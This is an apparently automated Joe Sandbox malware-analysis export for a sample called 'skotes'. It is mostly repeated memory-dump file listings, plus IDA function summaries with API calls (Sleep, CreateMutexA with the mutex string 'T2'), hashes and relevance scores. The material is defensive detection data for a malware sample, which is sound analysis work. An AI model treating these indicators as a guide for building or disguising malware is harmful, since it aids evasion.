Associated: 00000003.00000002.1498217944.0000000001058000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498241734.0000000001062000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498264985.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498287778.0000000001068000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498318454.000000000106B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498341509.000000000106C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498363363.0000000001070000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498384095.0000000001071000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498406209.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498406209.00000000010AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498494155.00000000010AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498523000.00000000010AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498578030.00000000010CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498601926.00000000010CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498634012.00000000010E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498655861.00000000010E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498677003.00000000010EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498702659.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498725146.00000000010FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498757941.00000000010FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_df0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: ef17e2931f19fae6b46e9975c3b81d3b8c46fd6b93abd1d746bdff2767fb0854
Instruction ID: 0236038651886dac6578323211b5d31778b9b69d9aeec114607f9d15090b5398
Opcode Fuzzy Hash: ef17e2931f19fae6b46e9975c3b81d3b8c46fd6b93abd1d746bdff2767fb0854
Instruction Fuzzy Hash: 083148B16042089BEB08AB7CDD85B7DB7B2DB81314F24C618E119EB3D5C77599808722

Function 00DF9ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00DFA963
CreateMutexA.KERNELBASE(00000000,00000000,00E53254), ref: 00DFA981

Strings

T2, xrefs: 00DFA970

Memory Dump Source

Source File: 00000003.00000002.1497090625.0000000000DF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DF0000, based on PE: true

Associated: 00000003.00000002.1497065195.0000000000DF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497090625.0000000000E52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497157603.0000000000E59000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497179598.0000000000E5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497201631.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497224797.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497246613.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497420411.0000000000FB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497484425.0000000000FBA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497547266.0000000000FCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497547266.0000000000FD8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497604185.0000000000FE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497641980.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497684757.0000000000FE3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497713527.0000000000FE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497741676.0000000000FEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497762643.0000000000FF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497799064.0000000000FF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497824201.0000000000FF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497861259.0000000001009000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497909248.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497935692.0000000001031000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497974650.0000000001034000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497996215.0000000001035000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498018304.000000000103A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498062665.0000000001042000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498086719.0000000001046000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498123881.0000000001053000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498146669.0000000001054000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498195440.0000000001055000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498217944.0000000001058000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498241734.0000000001062000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498264985.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498287778.0000000001068000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498318454.000000000106B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498341509.000000000106C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498363363.0000000001070000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498384095.0000000001071000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498406209.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498406209.00000000010AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498494155.00000000010AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498523000.00000000010AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498578030.00000000010CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498601926.00000000010CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498634012.00000000010E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498655861.00000000010E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498677003.00000000010EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498702659.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498725146.00000000010FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498757941.00000000010FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_df0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: a776fb998b5114cf9561926f947e60d4c7c431883c864dc6ef69c24e84f41f9c
Instruction ID: 81feb685ade0a07ea95cf4e4b3a99c747a0e71fa1d12bd53603755cdbf37fb43
Opcode Fuzzy Hash: a776fb998b5114cf9561926f947e60d4c7c431883c864dc6ef69c24e84f41f9c
Instruction Fuzzy Hash: 6C213A717082049BEB189F7CEDC573CF7A2EBC1314F248629E509DB2D5DBB659808622

Function 00DFA856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00DFA963
CreateMutexA.KERNELBASE(00000000,00000000,00E53254), ref: 00DFA981

Strings

T2, xrefs: 00DFA970

Memory Dump Source

Source File: 00000003.00000002.1497090625.0000000000DF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DF0000, based on PE: true

Associated: 00000003.00000002.1497065195.0000000000DF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497090625.0000000000E52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497157603.0000000000E59000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497179598.0000000000E5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497201631.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497224797.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497246613.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497420411.0000000000FB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497484425.0000000000FBA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497547266.0000000000FCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497547266.0000000000FD8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497604185.0000000000FE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497641980.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497684757.0000000000FE3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497713527.0000000000FE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497741676.0000000000FEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497762643.0000000000FF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497799064.0000000000FF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497824201.0000000000FF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497861259.0000000001009000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497909248.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497935692.0000000001031000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497974650.0000000001034000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497996215.0000000001035000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498018304.000000000103A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498062665.0000000001042000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498086719.0000000001046000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498123881.0000000001053000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498146669.0000000001054000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498195440.0000000001055000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498217944.0000000001058000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498241734.0000000001062000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498264985.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498287778.0000000001068000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498318454.000000000106B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498341509.000000000106C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498363363.0000000001070000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498384095.0000000001071000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498406209.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498406209.00000000010AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498494155.00000000010AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498523000.00000000010AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498578030.00000000010CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498601926.00000000010CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498634012.00000000010E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498655861.00000000010E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498677003.00000000010EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498702659.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498725146.00000000010FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498757941.00000000010FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_df0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: b5955ab0f13e19f191079246631b9fdecd1d439de3be1f7cec709256239c6a0d
Instruction ID: c005f22c788d0a89d66623bb6842d524dcb1049fb2bef914fb78eeb7db7b8450
Opcode Fuzzy Hash: b5955ab0f13e19f191079246631b9fdecd1d439de3be1f7cec709256239c6a0d
Instruction Fuzzy Hash: 0D214BB1248209DAF72867BC9D8677DB652DF81304F698916E34CE72D1CAF649818173

Function 00DFA34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00DFA963
CreateMutexA.KERNELBASE(00000000,00000000,00E53254), ref: 00DFA981

Strings

T2, xrefs: 00DFA970

Memory Dump Source

Source File: 00000003.00000002.1497090625.0000000000DF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DF0000, based on PE: true

Associated: 00000003.00000002.1497065195.0000000000DF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497090625.0000000000E52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497157603.0000000000E59000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497179598.0000000000E5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497201631.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497224797.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497246613.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497420411.0000000000FB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497484425.0000000000FBA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497547266.0000000000FCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497547266.0000000000FD8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497604185.0000000000FE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497641980.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497684757.0000000000FE3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497713527.0000000000FE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497741676.0000000000FEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497762643.0000000000FF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497799064.0000000000FF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497824201.0000000000FF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497861259.0000000001009000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497909248.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497935692.0000000001031000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497974650.0000000001034000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497996215.0000000001035000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498018304.000000000103A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498062665.0000000001042000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498086719.0000000001046000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498123881.0000000001053000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498146669.0000000001054000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498195440.0000000001055000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498217944.0000000001058000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498241734.0000000001062000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498264985.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498287778.0000000001068000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498318454.000000000106B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498341509.000000000106C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498363363.0000000001070000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498384095.0000000001071000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498406209.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498406209.00000000010AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498494155.00000000010AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498523000.00000000010AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498578030.00000000010CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498601926.00000000010CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498634012.00000000010E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498655861.00000000010E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498677003.00000000010EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498702659.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498725146.00000000010FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498757941.00000000010FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_df0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: 39418c95558688897ca1fe9c1f6b17d4aacaf709ec0b67d90b081ddadc8eccba
Instruction ID: cc44adfc20b6175606a8960e1feed7e923c5ffc606bb491d09316d28d21ca7af
Opcode Fuzzy Hash: 39418c95558688897ca1fe9c1f6b17d4aacaf709ec0b67d90b081ddadc8eccba
Instruction Fuzzy Hash: 19216DB17082049BE7089B6CED8573CB7A2DBD1315F248619E509EB7D4C7B655C08622

Non-executed Functions

Function 00E2CBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00E2CC66

Strings

v, xrefs: 00E2CBE1

Memory Dump Source

Source File: 00000003.00000002.1497090625.0000000000DF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DF0000, based on PE: true

Associated: 00000003.00000002.1497065195.0000000000DF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497090625.0000000000E52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497157603.0000000000E59000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497179598.0000000000E5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497201631.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497224797.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497246613.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497420411.0000000000FB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497484425.0000000000FBA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497547266.0000000000FCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497547266.0000000000FD8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497604185.0000000000FE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497641980.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497684757.0000000000FE3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497713527.0000000000FE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497741676.0000000000FEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497762643.0000000000FF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497799064.0000000000FF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497824201.0000000000FF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497861259.0000000001009000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497909248.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497935692.0000000001031000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497974650.0000000001034000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497996215.0000000001035000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498018304.000000000103A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498062665.0000000001042000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498086719.0000000001046000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498123881.0000000001053000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498146669.0000000001054000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498195440.0000000001055000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498217944.0000000001058000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498241734.0000000001062000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498264985.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498287778.0000000001068000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498318454.000000000106B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498341509.000000000106C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498363363.0000000001070000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498384095.0000000001071000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498406209.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498406209.00000000010AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498494155.00000000010AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498523000.00000000010AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498578030.00000000010CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498601926.00000000010CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498634012.00000000010E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498655861.00000000010E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498677003.00000000010EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498702659.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498725146.00000000010FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1498757941.00000000010FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_df0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v
API String ID: 3213747228-1361604894
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: dbc625597038fc6e3aa191cc798ee1338f600b0473709f6a46fd163bf56a7f18
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: FEB134329002A59FDB15CF28D881BFEBBE5EF45344F35516AE855FB242D6349D01CBA0

Function 00DF2EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00DF2F5F
__Mtx_unlock.LIBCPMT ref: 00DF2FCC
__Cnd_broadcast.LIBCPMT ref: 00DF2FE3
__Mtx_unlock.LIBCPMT ref: 00DF30F5
__Mtx_unlock.LIBCPMT ref: 00DF319B

Memory Dump Source

Source File: 00000003.00000002.1497090625.0000000000DF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DF0000, based on PE: true

Associated: 00000003.00000002.1497065195.0000000000DF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497090625.0000000000E52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497157603.0000000000E59000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497179598.0000000000E5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497201631.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497224797.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497246613.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497420411.0000000000FB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497484425.0000000000FBA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497547266.0000000000FCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497547266.0000000000FD8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497604185.0000000000FE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497641980.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497684757.0000000000FE3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497713527.0000000000FE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497741676.0000000000FEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497762643.0000000000FF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497799064.0000000000FF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497824201.0000000000FF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1497861259.0000000001009000.00000080.00000001.01000000.00000007.sdmpDownload File
